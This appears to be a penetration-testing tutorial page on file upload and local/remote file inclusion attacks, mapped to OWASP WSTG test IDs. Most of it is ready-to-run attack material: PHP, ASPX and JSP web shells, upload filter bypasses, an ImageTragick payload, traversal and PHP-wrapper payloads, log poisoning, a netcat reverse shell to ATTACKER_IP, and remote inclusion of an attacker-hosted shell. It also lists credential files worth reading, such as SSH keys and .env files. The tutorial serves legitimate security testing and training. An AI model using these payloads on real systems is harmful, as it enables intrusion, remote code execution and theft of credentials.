Skip to main content

File Upload & Inclusion Attacks

WSTG-INPVAL-12, WSTG-INPVAL-11


File Upload Attacks​

Understanding the Risk​

File upload functionality is one of the most impactful vulnerability classes. If you can upload a file and execute it, you have remote code execution. The defense relies on validating that the uploaded file is what it claims to be - and those validations are frequently incomplete or bypassable.

Goal: Upload a web shell - a small script that lets you execute arbitrary OS commands through the web interface.

The three upload validation layers to bypass:

LayerWhat the App ChecksBypass
File extensionIs the filename .php?Double extension, null byte, case variation, alternate extensions
MIME type / Content-TypeDoes the request say image/jpeg?Change the Content-Type header - it's client-supplied
Magic bytesDo the first bytes match the expected file format?Prepend valid magic bytes to the payload

Web Shells​

# PHP - minimal one-liner shell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

# PHP - more capable
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}
?>
EOF

# ASPX (.NET)
cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e){
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
}
</script>
EOF

# JSP (Java/Tomcat)
cat > /tmp/shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", cmd};
Process proc = rt.exec(commands);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s = null;
while ((s = stdInput.readLine()) != null) { out.println(s); }
%>
EOF

Once uploaded and accessible, use with:

curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"
curl "http://target.com/uploads/shell.php?cmd=which+nc;nc+-e+/bin/sh+ATTACKER_IP+4444"

Extension Bypass​

# If .php is blocked, try alternate PHP-executable extensions:
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.shtml

# Double extension (some parsers execute the last recognized extension)
shell.php.jpg
shell.jpg.php

# Case variation (on case-insensitive systems or misconfigured servers)
shell.PHP
shell.PhP

# Null byte (older PHP versions - null byte truncates filename server-side)
shell.php%00.jpg

# If the app appends an extension, try to control the final result
# App does: filename + ".jpg" β†’ "shell.php" + ".jpg" β†’ "shell.php.jpg"
# With null byte: "shell.php%00" + ".jpg" β†’ "shell.php"

MIME Type Bypass​

The Content-Type header in the upload request is set by the client and can be freely manipulated:

# Upload shell.php but tell the server it's an image
curl -si -X POST http://target.com/upload \
-F "file=@/tmp/shell.php;type=image/jpeg"

# Or manually with -H
curl -si -X POST http://target.com/upload \
-F "file=@/tmp/shell.php" \
-H "Content-Type: image/jpeg"

Magic Bytes Bypass​

Some applications read the first few bytes of the file to verify the actual file type. Prepend valid image magic bytes to your PHP shell:

# JPEG magic bytes: FF D8 FF (hex)
printf '\xff\xd8\xff' > /tmp/shell_magic.php
echo '<?php system($_GET["cmd"]); ?>' >> /tmp/shell_magic.php

# GIF magic bytes: GIF89a (ASCII)
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > /tmp/shell.php.gif

# PNG magic bytes: 89 50 4E 47 0D 0A 1A 0A
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > /tmp/shell_png.php
tip

The GIF trick (GIF89a<?php...>) is especially reliable because GIF89a is printable ASCII. It passes both string checks and basic magic byte checks. Combined with a .php extension, it executes as PHP on most configurations.


ImageMagick / File Processing Bypass​

If the application processes uploaded images with ImageMagick, the ImageTragick vulnerabilities allow command execution via specially crafted image files:

# Create a malicious MVG file
cat > /tmp/exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|id; echo ")'
pop graphic-context
EOF

# Upload as an image file
curl -si -X POST http://target.com/upload -F "image=@/tmp/exploit.mvg"

Local File Inclusion (LFI) and Path Traversal​

Understanding LFI​

LFI occurs when a web application uses user-supplied input to include a file from the server's filesystem. The most common pattern is dynamic page routing:

// Vulnerable PHP code
include($_GET['page'] . '.php');
// ?page=../../etc/passwd

Where to look for LFI:

  • Parameters named page, file, include, view, template, lang, path, doc
  • URL structures like /index.php?page=about, /view.php?file=report

Path Traversal - Basic Detection​

# Basic traversal - read /etc/passwd (Linux)
curl -si "http://target.com/page?file=../../../../etc/passwd"
curl -si "http://target.com/page?file=../../../etc/passwd"

# Windows targets
curl -si "http://target.com/page?file=..\..\..\..\windows\system32\drivers\etc\hosts"
curl -si "http://target.com/page?file=../../../../windows/win.ini"

# URL-encoded traversal (bypass simple string filters)
curl -si "http://target.com/page?file=..%2F..%2F..%2Fetc%2Fpasswd"

# Double URL-encoded (bypass single-pass decoding filters)
curl -si "http://target.com/page?file=..%252F..%252F..%252Fetc%252Fpasswd"

# Null byte to truncate appended extension (older PHP)
curl -si "http://target.com/page?file=../../../../etc/passwd%00"

# Absolute path (if the app doesn't enforce a base directory)
curl -si "http://target.com/page?file=/etc/passwd"

High-Value LFI Targets (Linux)​

/etc/passwd             # User accounts
/etc/shadow # Hashed passwords (requires root-level read)
/etc/hosts # Internal hostnames
/etc/hostname # Server hostname
/proc/self/environ # Environment variables (may contain credentials, secret keys)
/proc/self/cmdline # Process command line (application path/flags)
/proc/net/tcp # Open network connections (hex-encoded)
/var/log/apache2/access.log # Apache access log (useful for log poisoning)
/var/log/nginx/access.log # nginx access log
/var/log/auth.log # SSH auth logs
/home/<user>/.ssh/id_rsa # Private SSH keys
/var/www/html/.env # Laravel/app environment file (credentials)
/var/www/html/config.php # Application config

PHP Wrappers​

PHP stream wrappers extend what can be accessed via file inclusion:

# php://filter - read PHP source code (avoids PHP execution, returns base64-encoded source)
curl -si "http://target.com/page?file=php://filter/convert.base64-encode/resource=index"
# Decode the response:
echo "BASE64OUTPUT" | base64 -d

# Read any file via filter
curl -si "http://target.com/page?file=php://filter/convert.base64-encode/resource=../../config"

# php://input - include POST body as PHP code (requires allow_url_include=On)
curl -si "http://target.com/page?file=php://input" \
--data "<?php system('id'); ?>"

# data:// - inline data as a stream (requires allow_url_include=On)
curl -si "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
# That base64 is: <?php system('id'); ?>

# expect:// - execute system commands directly (requires expect module)
curl -si "http://target.com/page?file=expect://id"

Log Poisoning β†’ RCE​

If you can read a log file via LFI, you can write a PHP payload into the log and then include it:

# Step 1: Write payload into the access log via User-Agent
curl -si "http://target.com/" \
-A "<?php system(\$_GET['cmd']); ?>"

# Step 2: Include the log file
curl -si "http://target.com/page?file=../../../../var/log/apache2/access.log&cmd=id"

Other log injection vectors:

  • SSH auth log poisoning: ssh '<?php system($_GET["cmd"]); ?>'@target.com β†’ include /var/log/auth.log
  • PHP session file: inject into a PHPSESSID value β†’ include /var/lib/php/sessions/sess_<ID>

Remote File Inclusion (RFI)​

RFI allows including a file from a remote URL. Requires allow_url_include=On in PHP config - less common in modern apps but still worth checking.

# Host a PHP shell on Kali
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.txt
python3 -m http.server 80

# Include it in the vulnerable application
curl -si "http://target.com/page?file=http://ATTACKER_IP/shell.txt&cmd=id"

# With null byte to strip appended extension
curl -si "http://target.com/page?file=http://ATTACKER_IP/shell.txt%00&cmd=id"